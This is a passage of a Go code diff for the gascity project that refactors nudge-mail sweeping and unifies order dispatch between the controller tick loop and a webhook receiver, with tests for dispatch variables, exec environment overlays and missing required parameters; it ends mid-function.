--- a/cmd/gc/nudge_dispatcher_test.go
+++ b/cmd/gc/nudge_dispatcher_test.go
@@ -118,7 +118,7 @@ func TestDispatchAllQueuedNudgesNoOpInLegacyMode(t *testing.T) {
 		t.Fatalf("enqueueQueuedNudge: %v", err)
 	}
 	cfg := &config.City{Daemon: config.DaemonConfig{}} // legacy default
-	delivered, err := dispatchAllQueuedNudges(dir, cfg, nil, nil, newSessionBeadSnapshot(nil))
+	delivered, err := dispatchAllQueuedNudges(dir, cfg, nil, nil, nil, newSessionBeadSnapshot(nil))
 	if err != nil {
 		t.Fatalf("dispatchAllQueuedNudges: %v", err)
 	}
@@ -132,7 +132,7 @@ func TestDispatchAllQueuedNudgesEmptyQueue(t *testing.T) {
 	disableManagedDoltRecoveryForTest(t)
 
 	dir := t.TempDir()
-	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), nil, nil, newSessionBeadSnapshot(nil))
+	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), nil, nil, nil, newSessionBeadSnapshot(nil))
 	if err != nil {
 		t.Fatalf("dispatchAllQueuedNudges: %v", err)
 	}
@@ -162,7 +162,7 @@ func TestDispatchAllQueuedNudgesSkipsNotYetDue(t *testing.T) {
 		},
 	}
 	snapshot := newSessionBeadSnapshot([]beads.Bead{bead})
-	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), nil, runtime.NewFake(), snapshot)
+	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), nil, nil, runtime.NewFake(), snapshot)
 	if err != nil {
 		t.Fatalf("dispatchAllQueuedNudges: %v", err)
 	}
@@ -201,7 +201,7 @@ func TestDispatchAllQueuedNudgesDeliversAndAcks(t *testing.T) {
 		t.Fatalf("loadSessionBeadSnapshot: %v", err)
 	}
 
-	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), store.Store, fake, snapshot)
+	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), store.Store, store.Store, fake, snapshot)
 	if err != nil {
 		t.Fatalf("dispatchAllQueuedNudges: %v", err)
 	}
@@ -284,7 +284,7 @@ func TestDispatchAllQueuedNudgesDeliversToIdleACPSession(t *testing.T) {
 	}
 	snapshot := newSessionBeadSnapshot([]beads.Bead{created})
 
-	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), store, fake, snapshot)
+	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), store, store, fake, snapshot)
 	if err != nil {
 		t.Fatalf("dispatchAllQueuedNudges: %v", err)
 	}
@@ -360,7 +360,7 @@ func TestDispatchAllQueuedNudgesSkipsACPSessionWhenNotRunning(t *testing.T) {
 	}
 	snapshot := newSessionBeadSnapshot([]beads.Bead{bead})
 	// Fake has no started session, so IsRunning("worker-session") is false.
-	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), nil, runtime.NewFake(), snapshot)
+	delivered, err := dispatchAllQueuedNudges(dir, supervisorCfg(), nil, nil, runtime.NewFake(), snapshot)
 	if err != nil {
 		t.Fatalf("dispatchAllQueuedNudges: %v", err)
 	}
@@ -389,7 +389,7 @@ func TestDispatchAllQueuedNudgesNilCfg(t *testing.T) {
 	if err := enqueueQueuedNudge(dir, newQueuedNudge("worker", "msg", time.Now().Add(-time.Minute))); err != nil {
 		t.Fatalf("enqueueQueuedNudge: %v", err)
 	}
-	delivered, err := dispatchAllQueuedNudges(dir, nil, nil, nil, newSessionBeadSnapshot(nil))
+	delivered, err := dispatchAllQueuedNudges(dir, nil, nil, nil, nil, newSessionBeadSnapshot(nil))
 	if err != nil {
 		t.Fatalf("dispatchAllQueuedNudges: %v", err)
 	}
diff --git a/cmd/gc/nudge_mail_sweep.go b/cmd/gc/nudge_mail_sweep.go
index e8b00823da..91c6b6a094 100644
--- a/cmd/gc/nudge_mail_sweep.go
+++ b/cmd/gc/nudge_mail_sweep.go
@@ -7,6 +7,7 @@ import (
 	"time"
 
 	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/mail/beadmail"
 	"github.com/gastownhall/gascity/internal/nudgequeue"
 )
 
@@ -61,13 +62,7 @@ func sweepStaleNudgeMail(nudgeStore beads.NudgesStore, mailStore beads.MailStore
 		nudgeQueryLimit = 0
 	}
 	// nudge/mail beads are NoHistory (wisp-tier); read both tiers explicitly.
-	nudgeCandidates, err := nudgeStore.List(beads.ListQuery{
-		Label:         nudgeBeadLabel,
-		CreatedBefore: nudgeCutoff,
-		Limit:         nudgeQueryLimit,
-		Sort:          beads.SortCreatedAsc,
-		TierMode:      beads.TierBoth,
-	})
+	nudgeCandidates, err := nudgequeue.StaleCandidatesBefore(nudgeStore, nudgeCutoff, nudgeQueryLimit)
 	if err != nil {
 		return result, fmt.Errorf("nudge-mail-sweep: listing stale nudge beads: %w", err)
 	}
@@ -108,14 +103,7 @@ func sweepStaleNudgeMail(nudgeStore beads.NudgesStore, mailStore beads.MailStore
 		if limit == 0 {
 			mailQueryLimit = 0
 		}
-		mailCandidates, err := mailStore.List(beads.ListQuery{
-			Type:          "message",
-			Label:         "read",
-			CreatedBefore: mailCutoff,
-			Limit:         mailQueryLimit,
-			Sort:          beads.SortCreatedAsc,
-			TierMode:      beads.TierBoth,
-		})
+		mailCandidates, err := beadmail.ReadMessagesBefore(mailStore.Store, mailCutoff, mailQueryLimit)
 		if err != nil {
 			return result, fmt.Errorf("nudge-mail-sweep: listing read mail beads: %w", err)
 		}
@@ -156,13 +144,7 @@ func countStaleNudgeMail(nudgeStore beads.NudgesStore, mailStore beads.MailStore
 	if nudgeQueryLimit < 0 {
 		nudgeQueryLimit = 0
 	}
-	nudgeCandidates, err := nudgeStore.List(beads.ListQuery{
-		Label:         nudgeBeadLabel,
-		CreatedBefore: nudgeCutoff,
-		Limit:         nudgeQueryLimit,
-		Sort:          beads.SortCreatedAsc,
-		TierMode:      beads.TierBoth,
-	})
+	nudgeCandidates, err := nudgequeue.StaleCandidatesBefore(nudgeStore, nudgeCutoff, nudgeQueryLimit)
 	if err != nil {
 		return result, fmt.Errorf("nudge-mail-sweep (dry-run): listing stale nudge beads: %w", err)
 	}
@@ -187,14 +169,7 @@ func countStaleNudgeMail(nudgeStore beads.NudgesStore, mailStore beads.MailStore
 		if limit == 0 {
 			mailQueryLimit = 0
 		}
-		mailCandidates, err := mailStore.List(beads.ListQuery{
-			Type:          "message",
-			Label:         "read",
-			CreatedBefore: mailCutoff,
-			Limit:         mailQueryLimit,
-			Sort:          beads.SortCreatedAsc,
-			TierMode:      beads.TierBoth,
-		})
+		mailCandidates, err := beadmail.ReadMessagesBefore(mailStore.Store, mailCutoff, mailQueryLimit)
 		if err != nil {
 			return result, fmt.Errorf("nudge-mail-sweep (dry-run): listing read mail beads: %w", err)
 		}
diff --git a/cmd/gc/nudge_target_info_equiv_test.go b/cmd/gc/nudge_target_info_equiv_test.go
new file mode 100644
index 0000000000..b05782116c
--- /dev/null
+++ b/cmd/gc/nudge_target_info_equiv_test.go
@@ -0,0 +1,98 @@
+package main
+
+import (
+	"reflect"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/session"
+)
+
+// TestNudgeTargetInfoEquivalence is the byte-identical oracle for migrating the
+// nudge dispatcher off raw session beads. resolveNudgeTargetFromSessionInfo must
+// produce exactly the nudgeTarget that resolveNudgeTargetFromSessionBead does for
+// the same bead once projected through InfoFromPersistedBead. The transport cases
+// specifically guard the fidelity trap: the resolver reads the RAW transport
+// metadata (via i.TransportMetadata), not the normalized i.Transport, so the
+// empty/whitespace-transport beads must still take the found.Session fallback.
+func TestNudgeTargetInfoEquivalence(t *testing.T) {
+	cityPath := "/tmp/test-city"
+	cfg := &config.City{
+		Workspace: config.Workspace{Provider: "claude"},
+		Agents: []config.Agent{
+			{Name: "worker", Provider: "claude", Session: "tmux"},
+		},
+	}
+
+	beadsIn := []beads.Bead{
+		{
+			ID:     "ga-full",
+			Type:   session.BeadType,
+			Title:  "full",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":           "frontend/worker",
+				"agent_name":         "frontend/worker-1",
+				"common_name":        "the-worker",
+				"alias":              "worker-alias",
+				"provider":           "claude",
+				"transport":          "acp",
+				"session_name":       "worker-session",
+				"continuation_epoch": "3",
+				"alias_history":      "old-alias,older-alias",
+			},
+		},
+		{
+			// Empty transport → resolver must fall back to the agent's Session.
+			ID:     "ga-empty-transport",
+			Type:   session.BeadType,
+			Title:  "empty-transport",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"provider":     "claude",
+				"session_name": "empty-transport-session",
+			},
+		},
+		{
+			// Whitespace transport → TrimSpace on both raw and Info must agree.
+			ID:     "ga-ws-transport",
+			Type:   session.BeadType,
+			Title:  "ws-transport",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"transport":    "   ",
+				"provider":     "claude",
+				"session_name": "ws-transport-session",
+			},
+		},
+		{
+			// No session_name → sessionNameFromBeadID fallback on both sides.
+			ID:     "ga-no-sn",
+			Type:   session.BeadType,
+			Title:  "no-sn",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template": "scribe",
+			},
+		},
+		{
+			// Bare metadata, only an ID.
+			ID:       "ga-bare",
+			Type:     session.BeadType,
+			Title:    "bare",
+			Labels:   []string{session.LabelSession},
+			Metadata: map[string]string{},
+		},
+	}
+
+	for _, b := range beadsIn {
+		want := resolveNudgeTargetFromSessionBead(cityPath, cfg, b)
+		got := resolveNudgeTargetFromSessionInfo(cityPath, cfg, session.InfoFromPersistedBead(b))
+		if !reflect.DeepEqual(want, got) {
+			t.Errorf("bead %q: resolveNudgeTargetFromSessionInfo = %#v, want (bead form) %#v", b.ID, got, want)
+		}
+	}
+}
diff --git a/cmd/gc/order_args_channel_test.go b/cmd/gc/order_args_channel_test.go
new file mode 100644
index 0000000000..8051dd4b87
--- /dev/null
+++ b/cmd/gc/order_args_channel_test.go
@@ -0,0 +1,189 @@
+package main
+
+import (
+	"bytes"
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+	"github.com/gastownhall/gascity/internal/orders"
+)
+
+// TestParseOrderRunVarFlags locks the `gc order run --var key=value` parsing:
+// well-formed pairs land in the map (value may itself contain '='), and
+// malformed or empty-key entries are rejected.
+func TestParseOrderRunVarFlags(t *testing.T) {
+	var stderr bytes.Buffer
+
+	vars, ok := parseOrderRunVarFlags([]string{"repo=octo/demo", "token=a=b=c", "empty="}, &stderr)
+	if !ok {
+		t.Fatalf("parseOrderRunVarFlags rejected valid flags: %s", stderr.String())
+	}
+	if vars["repo"] != "octo/demo" {
+		t.Fatalf("vars[repo] = %q, want octo/demo", vars["repo"])
+	}
+	if vars["token"] != "a=b=c" {
+		t.Fatalf("vars[token] = %q, want a=b=c (split on first '=')", vars["token"])
+	}
+	if v, exists := vars["empty"]; !exists || v != "" {
+		t.Fatalf("vars[empty] = (%q, %v), want present empty string", v, exists)
+	}
+
+	if got, ok := parseOrderRunVarFlags(nil, &stderr); !ok || got != nil {
+		t.Fatalf("parseOrderRunVarFlags(nil) = (%v, %v), want (nil, true)", got, ok)
+	}
+
+	if _, ok := parseOrderRunVarFlags([]string{"noequals"}, &stderr); ok {
+		t.Fatal("parseOrderRunVarFlags accepted a flag without '='")
+	}
+	if _, ok := parseOrderRunVarFlags([]string{"=value"}, &stderr); ok {
+		t.Fatal("parseOrderRunVarFlags accepted an empty key")
+	}
+}
+
+// TestPrepareOrderWispRecipeThreadsVarsToFormula proves the args channel reaches
+// a formula order: dispatch vars flow through prepareOrderWispRecipe into
+// PrepareInvocation/ExpandVars and drive compile-time range expansion. The
+// range var `n` is required, so the recipe only compiles when the var is
+// supplied, and the resulting step count reflects the supplied value.
+func TestPrepareOrderWispRecipeThreadsVarsToFormula(t *testing.T) {
+	dir := t.TempDir()
+	formulaBody := `
+formula = "e1-var-range"
+version = 1
+
+[vars.n]
+description = "Loop count"
+required = true
+
+[[steps]]
+id = "loop"
+title = "Loop"
+
+[steps.loop]
+range = "1..{n}"
+
+[[steps.loop.body]]
+id = "work"
+title = "Work {i}"
+`
+	if err := os.WriteFile(filepath.Join(dir, "e1-var-range.toml"), []byte(strings.TrimSpace(formulaBody)+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	store := beads.NewMemStore()
+	a := orders.Order{Name: "range-order", Trigger: "manual", Formula: "e1-var-range", FormulaLayer: dir}
+
+	// Without the var the required compile-time range var is unresolved and
+	// compilation fails — proving the var is what makes the recipe compile.
+	if _, err := prepareOrderWispRecipe(context.Background(), store, a, []string{dir}, nil); err == nil {
+		t.Fatal("prepareOrderWispRecipe with nil vars: expected failure for missing required range var n")
+	}
+
+	recipe, err := prepareOrderWispRecipe(context.Background(), store, a, []string{dir}, map[string]string{"n": "3"})
+	if err != nil {
+		t.Fatalf("prepareOrderWispRecipe with vars: %v", err)
+	}
+	if len(recipe.Steps) != 4 {
+		t.Fatalf("len(recipe.Steps) = %d, want 4 (root + 3 loop iterations from n=3)", len(recipe.Steps))
+	}
+}
+
+// TestOrderExecEnvWithErrorOverlaysVars proves the args channel reaches an exec
+// order's process environment while leaving the static [order.env] reserved-key
+// guard intact.
+func TestOrderExecEnvWithErrorOverlaysVars(t *testing.T) {
+	cityDir := t.TempDir()
+	target := execStoreTarget{ScopeRoot: cityDir, ScopeKind: "city", Prefix: "ct"}
+	a := orders.Order{Name: "hooked", Trigger: "manual", Exec: "true"}
+
+	envSlice, err := orderExecEnvWithError(cityDir, nil, target, a, map[string]string{
+		"repo": "octo/demo",
+		"pr":   "42",
+	})
+	if err != nil {
+		t.Fatalf("orderExecEnvWithError: %v", err)
+	}
+
+	got := map[string]string{}
+	for _, entry := range envSlice {
+		if key, value, ok := strings.Cut(entry, "="); ok {
+			got[key] = value
+		}
+	}
+	if got["repo"] != "octo/demo" {
+		t.Fatalf("env[repo] = %q, want octo/demo; env=%v", got["repo"], envSlice)
+	}
+	if got["pr"] != "42" {
+		t.Fatalf("env[pr] = %q, want 42; env=%v", got["pr"], envSlice)
+	}
+
+	// The static [order.env] reserved-key guard must still reject an order that
+	// tries to override controller-owned env via [order.env].
+	reserved := orders.Order{Name: "hooked", Trigger: "manual", Exec: "true", Env: map[string]string{"GC_CITY": "x"}}
+	if _, err := orderExecEnvWithError(cityDir, nil, target, reserved, nil); err == nil {
+		t.Fatal("orderExecEnvWithError: expected reserved [order.env] key GC_CITY to be rejected")
+	}
+}
+
+// TestDispatchOneRefusesMissingRequiredParam proves a declared-required param
+// absent from the dispatch vars is a hard error: dispatch records OrderFailed
+// and never fires the order (no OrderFired, exec never runs).
+func TestDispatchOneRefusesMissingRequiredParam(t *testing.T) {
+	store := beads.NewMemStore()
+	tracking, err := store.Create(beads.Bead{
+		Title:  "order:needs-repo",
+		Labels: []string{"order-run:needs-repo", labelOrderTracking},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	var rec memRecorder
+	ranExec := false
+	execRun := func(context.Context, string, string, []string) ([]byte, error) {
+		ranExec = true
+		return nil, nil
+	}
+	ad := buildOrderDispatcherFromListExec([]orders.Order{{
+		Name:     "needs-repo",
+		Trigger:  "cooldown",
+		Interval: "1h",
+		Exec:     "echo hi",
+		Params:   map[string]orders.OrderParam{"repo": {Required: true}},
+	}}, store, nil, execRun, &rec)
+	if ad == nil {
+		t.Fatal("expected non-nil dispatcher")
+	}
+	mad := ad.(*memoryOrderDispatcher)
+
+	// nil vars → the required "repo" param is missing → dispatch must refuse.
+	mad.addInflight()
+	mad.dispatchOne(context.Background(), store, execStoreTarget{ScopeRoot: t.TempDir()}, mad.aa[0], t.TempDir(), tracking.ID, nil, nil)
+
+	if !rec.hasType(events.OrderFailed) {
+		t.Fatal("missing order.failed event for missing required param")
+	}
+	if rec.hasType(events.OrderFired) {
+		t.Fatal("order.fired recorded; dispatch must refuse before firing")
+	}
+	if ranExec {
+		t.Fatal("exec ran despite missing required param")
+	}
+
+	rec.mu.Lock()
+	defer rec.mu.Unlock()
+	var failMsg string
+	for _, e := range rec.events {
+		if e.Type == events.OrderFailed {
+			failMsg = e.Message
+		}
+	}
+	if !strings.Contains(failMsg, "repo") || !strings.Contains(failMsg, "required") {
+		t.Fatalf("order.failed message = %q, want it to name the missing required param repo", failMsg)
+	}
+}
diff --git a/cmd/gc/order_dispatch.go b/cmd/gc/order_dispatch.go
index 5d8ccdbf58..3ff60f8b07 100644
--- a/cmd/gc/order_dispatch.go
+++ b/cmd/gc/order_dispatch.go
@@ -385,10 +385,11 @@ func buildOrderDispatcherFromOrderSet(cityPath string, cfg *config.City, allAA [
 	}
 	allAA = orders.FilterEnabled(allAA)
 
-	// Filter out manual-trigger orders — they are never auto-dispatched.
+	// Filter out manual- and webhook-trigger orders — they are never
+	// auto-dispatched (webhook orders fire only via the supervisor receiver).
 	var auto []orders.Order
 	for _, a := range allAA {
-		if a.Trigger != "manual" {
+		if a.Trigger != "manual" && a.Trigger != "webhook" {
 			auto = append(auto, a)
 		}
 	}
@@ -396,6 +397,17 @@ func buildOrderDispatcherFromOrderSet(cityPath string, cfg *config.City, allAA [
 		return nil
 	}
 
+	return newMemoryOrderDispatcher(auto, cityPath, cfg, rec, stderr)
+}
+
+// newMemoryOrderDispatcher builds a memoryOrderDispatcher over a resolved order
+// set. aa is the tick loop's auto-dispatchable set; it may be nil for callers
+// that only fire pre-resolved orders through the orderdispatch.Dispatcher seam
+// (the webhook receiver), where the tick dispatch() path is never invoked.
+func newMemoryOrderDispatcher(aa []orders.Order, cityPath string, cfg *config.City, rec events.Recorder, stderr io.Writer) *memoryOrderDispatcher {
+	if cfg == nil {
+		cfg = &config.City{}
+	}
 	// Extract events.Provider from recorder if available.
 	// FileRecorder implements Provider; Discard does not.
 	var ep events.Provider
@@ -405,7 +417,7 @@ func buildOrderDispatcherFromOrderSet(cityPath string, cfg *config.City, allAA [
 
 	dispatchCtx, dispatchCancel := context.WithCancel(context.Background())
 	return &memoryOrderDispatcher{
-		aa: auto,
+		aa: aa,
 		storeFn: func(target execStoreTarget) (beads.Store, error) {
 			return openStoreAtForCity(target.ScopeRoot, cityPath)
 		},
@@ -631,21 +643,23 @@ func (m *memoryOrderDispatcher) dispatch(ctx context.Context, cityPath string, n
 			continue
 		}
 
-		// Create tracking bead synchronously BEFORE dispatch goroutine.
-		// This prevents the cooldown trigger from re-firing on the next tick.
-		trackingBead, err := orders.NewStore(beads.OrdersStore{Store: store}).CreateRun(scoped, orders.RunOpts{})
+		// Create the tracking bead (which suppresses re-fire on the next tick)
+		// and launch the shared dispatch core. The webhook receiver fires the
+		// same launchResolvedDispatch → dispatchOne path through the exported
+		// seam, so a tick dispatch and a webhook dispatch run the identical core,
+		// not two implementations. inFlight (this tick's WaitGroup) is reserved
+		// before the launch and released via onDone; on a create failure nothing
+		// launched, so it is released immediately to balance the reservation.
+		//
+		// Auto-triggered orders carry no args channel: vars/execEnv are nil.
+		inFlight.Add(1)
+		trackingBead, err := m.launchResolvedDispatch(ctx, store, target, a, cityPath, nil, nil, inFlight.Done)
 		if err != nil {
+			inFlight.Done()
 			logDispatchError(m.stderr, "gc: order dispatch: creating tracking bead for %s: %v", scoped, err)
 			continue
 		}
 		m.rememberLastRun(scoped, storeKeysForGate, trackingBead.CreatedAt)
-
-		// Fire with timeout; inflight tracks the spawned goroutine so
-		// drain can wait for tracking-bead outcome persistence before
-		// controller exit or config reload.
-		m.addInflight()
-		inFlight.Add(1)
-		m.launchDispatchOne(ctx, store, target, a, cityPath, trackingBead.ID, inFlight.Done)
 		if spendDispatchBudget(idx) {
 			return
 		}
@@ -660,14 +674,14 @@ func (m *memoryOrderDispatcher) dispatch(ctx context.Context, cityPath string, n
 // once after dispatchOne returns — i.e. after this goroutine's final store
 // call — so the caller can hold per-tick store handles open until the
 // goroutine releases them (gascity#3157). A nil onDone is treated as a no-op.
-func (m *memoryOrderDispatcher) launchDispatchOne(ctx context.Context, store beads.Store, target execStoreTarget, a orders.Order, cityPath, trackingID string, onDone func()) {
+func (m *memoryOrderDispatcher) launchDispatchOne(ctx context.Context, store beads.Store, target execStoreTarget, a orders.Order, cityPath, trackingID string, vars, execEnv map[string]string, onDone func()) {
 	if onDone == nil {
 		onDone = func() {}
 	}
 	if m.dispatchCtx == nil {
 		go func() {
 			defer onDone()
-			m.dispatchOne(ctx, store, target, a, cityPath, trackingID)
+			m.dispatchOne(ctx, store, target, a, cityPath, trackingID, vars, execEnv)
 		}()
 		return
 	}
@@ -680,10 +694,30 @@ func (m *memoryOrderDispatcher) launchDispatchOne(ctx context.Context, store bea
 		defer onDone()
 		defer stopAfter()
 		defer cancelMerged()
-		m.dispatchOne(mergedCtx, store, target, a, cityPath, trackingID)
+		m.dispatchOne(mergedCtx, store, target, a, cityPath, trackingID, vars, execEnv)
 	}()
 }
 
+// launchResolvedDispatch is the single fire path shared by the controller tick
+// loop and the webhook dispatch seam (memoryOrderDispatcher.Dispatch). It writes
+// the order-tracking bead that suppresses re-fire, registers the in-flight
+// goroutine so drain can await outcome persistence, and launches dispatchOne.
+// vars drive required-param validation and the formula ExpandVars channel;
+// execEnv is the exec-env overlay (nil ⇒ vars) that untrusted callers
+// pre-namespace for R4. onDone runs after the dispatch goroutine returns (the
+// tick loop passes its per-tick store barrier; the seam passes its store-close).
+// A caller tracking its own WaitGroup must register it before calling and
+// release it in onDone (and, on a returned error, itself — nothing launched).
+func (m *memoryOrderDispatcher) launchResolvedDispatch(ctx context.Context, store beads.Store, target execStoreTarget, a orders.Order, cityPath string, vars, execEnv map[string]string, onDone func()) (orders.OrderRun, error) {
+	trackingRun, err := orders.NewStore(beads.OrdersStore{Store: store}).CreateRun(a.ScopedName(), orders.RunOpts{})
+	if err != nil {
+		return orders.OrderRun{}, err
+	}
+	m.addInflight()
+	m.launchDispatchOne(ctx, store, target, a, cityPath, trackingRun.ID, vars, execEnv, onDone)
+	return trackingRun, nil
+}
+
 // cancel signals all in-flight dispatchOne goroutines to terminate. Safe
 // to call multiple times. Caller should follow with drain to wait for
 // goroutine completion; dispatchOne's deferred cleanup writes the
@@ -1092,7 +1126,14 @@ func eventCursorLabels(scoped string, headSeq uint64) []string {
 // dispatchOne runs a single order dispatch in its own goroutine.
 // For exec orders, runs the script directly. For formula orders,
 // instantiates a wisp. Emits events and updates the tracking bead.
-func (m *memoryOrderDispatcher) dispatchOne(ctx context.Context, store beads.Store, target execStoreTarget, a orders.Order, cityPath, trackingID string) {
+//
+// vars are the raw, param-named dispatch args: they drive required-param
+// validation and the formula ExpandVars channel. execEnv is the exec-env
+// overlay for exec orders (nil ⇒ fall back to vars). The webhook sink passes a
+// namespaced execEnv (GC_WEBHOOK_ARG_*) so an untrusted payload can never shadow
+// a controller-owned or static [order.env] key (R4); the tick loop and CLI pass
+// nil (raw overlay), preserving existing semantics.
+func (m *memoryOrderDispatcher) dispatchOne(ctx context.Context, store beads.Store, target execStoreTarget, a orders.Order, cityPath, trackingID string, vars, execEnv map[string]string) {
 	// Defer order matters: doneInflight runs last, after Close makes the
 	// tracking bead outcome observable to a waiting drain.
 	defer m.doneInflight()
@@ -1102,11 +1143,25 @@ func (m *memoryOrderDispatcher) dispatchOne(ctx context.Context, store beads.Sto
 		}
 	}()
 
+	scoped := a.ScopedName()
+
+	// Refuse to fire when a declared-required param is absent from the dispatch
+	// vars. The tracking bead was already created by the caller and is closed by
+	// the deferred close above.
+	if err := orders.ValidateRequiredParams(a, vars); err != nil {
+		m.rec.Record(events.Event{
+			Type:    events.OrderFailed,
+			Actor:   "controller",
+			Subject: scoped,
+			Message: err.Error(),
+		})
+		return
+	}
+
 	timeout := effectiveTimeout(a, m.maxTimeout)
 	childCtx, cancel := context.WithTimeout(ctx, timeout)
 	defer cancel()
 
-	scoped := a.ScopedName()
 	m.rec.Record(events.Event{
 		Type:    events.OrderFired,
 		Actor:   "controller",
@@ -1120,9 +1175,15 @@ func (m *memoryOrderDispatcher) dispatchOne(ctx context.Context, store beads.Sto
 		// closeOrderTrackingBead defer) from the same store, so the bead writes
 		// stay byte-identical.
 		front := orders.NewStore(beads.OrdersStore{Store: store})
-		m.dispatchExec(childCtx, front, target, a, cityPath, trackingID)
+		// The exec-env overlay is namespaced by an untrusted caller (webhook);
+		// nil means use the raw vars (tick/CLI), preserving prior behavior.
+		execOverlay := execEnv
+		if execOverlay == nil {
+			execOverlay = vars
+		}
+		m.dispatchExec(childCtx, front, target, a, cityPath, trackingID, execOverlay)
 	} else {
-		m.dispatchWisp(childCtx, store, a, cityPath, trackingID)
+		m.dispatchWisp(childCtx, store, a, cityPath, trackingID, vars)
 	}
 }
 
@@ -1231,7 +1292,7 @@ func openOrderTrackingIDs(store beads.Store, ids []string) ([]string, error) {
 }
 
 // dispatchExec runs an exec order's shell command.
-func (m *memoryOrderDispatcher) dispatchExec(ctx context.Context, front *orders.Store, target execStoreTarget, a orders.Order, cityPath, trackingID string) {
+func (m *memoryOrderDispatcher) dispatchExec(ctx context.Context, front *orders.Store, target execStoreTarget, a orders.Order, cityPath, trackingID string, vars map[string]string) {
 	scoped := a.ScopedName()
 	outcome := orders.RunOutcomeExec
 	var headSeq uint64
@@ -1273,7 +1334,7 @@ func (m *memoryOrderDispatcher) dispatchExec(ctx context.Context, front *orders.
 		}
 	}
 
-	env, err := orderExecEnvWithError(cityPath, m.cfg, target, a)
+	env, err := orderExecEnvWithError(cityPath, m.cfg, target, a, vars)
 	var output []byte
 	var execErrMsg string
 	if err != nil {
@@ -1330,8 +1391,8 @@ func (m *memoryOrderDispatcher) dispatchExec(ctx context.Context, front *orders.
 	})
 }
 
-func prepareOrderWispRecipe(ctx context.Context, store beads.Store, a orders.Order, searchPaths []string) (*formula.Recipe, error) {
-	inv, err := graphv2.PrepareInvocation(ctx, store, a.Formula, searchPaths, "", nil)
+func prepareOrderWispRecipe(ctx context.Context, store beads.Store, a orders.Order, searchPaths []string, vars map[string]string) (*formula.Recipe, error) {
+	inv, err := graphv2.PrepareInvocation(ctx, store, a.Formula, searchPaths, "", vars)
 	if err != nil {
 		return nil, err
 	}
@@ -1353,7 +1414,7 @@ func redactOrderEnvError(err error, env []string) string {
 }
 
 // dispatchWisp instantiates a wisp from the order's formula.
-func (m *memoryOrderDispatcher) dispatchWisp(ctx context.Context, store beads.Store, a orders.Order, cityPath, trackingID string) {
+func (m *memoryOrderDispatcher) dispatchWisp(ctx context.Context, store beads.Store, a orders.Order, cityPath, trackingID string, vars map[string]string) {
 	scoped := a.ScopedName()
 
 	if err := ctx.Err(); err != nil {
@@ -1391,7 +1452,7 @@ func (m *memoryOrderDispatcher) dispatchWisp(ctx context.Context, store beads.St
 	if a.FormulaLayer != "" {
 		searchPaths = []string{a.FormulaLayer}
 	}
-	recipe, err := prepareOrderWispRecipe(ctx, store, a, searchPaths)
+	recipe, err := prepareOrderWispRecipe(ctx, store, a, searchPaths, vars)
 	if err != nil {
 		m.rec.Record(events.Event{
 			Type:    events.OrderFailed,
diff --git a/cmd/gc/order_dispatch_seam.go b/cmd/gc/order_dispatch_seam.go
new file mode 100644
index 0000000000..ab0c9cf52a
--- /dev/null
+++ b/cmd/gc/order_dispatch_seam.go
@@ -0,0 +1,67 @@
+package main
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/gastownhall/gascity/internal/orderdispatch"
+	"github.com/gastownhall/gascity/internal/orders"
+)
+
+// memoryOrderDispatcher is the controller's live order dispatcher and the
+// concrete implementation of the reusable orderdispatch.Dispatcher seam. The
+// webhook receiver (E3/E6) fires orders through this same instance, so a webhook
+// dispatch and a tick dispatch run the identical dispatchOne core.
+var _ orderdispatch.Dispatcher = (*memoryOrderDispatcher)(nil)
+
+// Dispatch fires a pre-resolved order through the shared launchResolvedDispatch
+// → dispatchOne core — the same path the controller tick loop uses.
+//
+// The caller (the webhook order sink) has already enforced its policy:
+// target=="order", the order opts in with trigger=="webhook", the {order,rig}
+// is within the webhook's provenance scope, and untrusted payload args have been
+// namespaced into req.ExecEnv (R4). Dispatch therefore only re-checks required
+// params (defense in depth), resolves the order's store, and launches the async
+// dispatch. It returns as soon as the tracking bead is written and the goroutine
+// is launched; the wisp/exec runs asynchronously and its outcome lands on the
+// events feed (OrderFired/Completed/Failed), matching the design's fast-ACK
+// response contract (verify+match+enqueue synchronously, work runs async).
+func (m *memoryOrderDispatcher) Dispatch(ctx context.Context, req orderdispatch.DispatchRequest) (orderdispatch.DispatchResult, error) {
+	a := req.Order
+	scoped := a.ScopedName()
+
+	// Defense in depth: the sink validated already, but the seam is the last
+	// gate before a bead is written, so re-check against the raw param vars.
+	if err := orders.ValidateRequiredParams(a, req.Vars); err != nil {
+		return orderdispatch.DispatchResult{ScopedName: scoped, Rejected: true, Reason: err.Error()}, nil
+	}
+
+	target, err := resolveOrderStoreTarget(m.cityPath, m.cfg, a)
+	if err != nil {
+		return orderdispatch.DispatchResult{ScopedName: scoped}, fmt.Errorf("resolving store target for %s: %w", scoped, err)
+	}
+	store, err := m.storeFn(target)
+	if err != nil {
+		return orderdispatch.DispatchResult{ScopedName: scoped}, fmt.Errorf("opening store for %s: %w", scoped, err)
+	}
+
+	// Close this dispatch's own store handle once the async dispatchOne goroutine
+	// has finished with it. Mirrors the tick loop's detached per-tick closer: the
+	// handle must stay open until the goroutine's final store call (the
+	// tracking-bead close), so the close is deferred to onDone — launchDispatchOne
+	// invokes it only after dispatchOne returns (gascity#3157). The two exit paths
+	// are mutually exclusive (a create failure never launches), so the closer runs
+	// exactly once.
+	closeStore := func() {
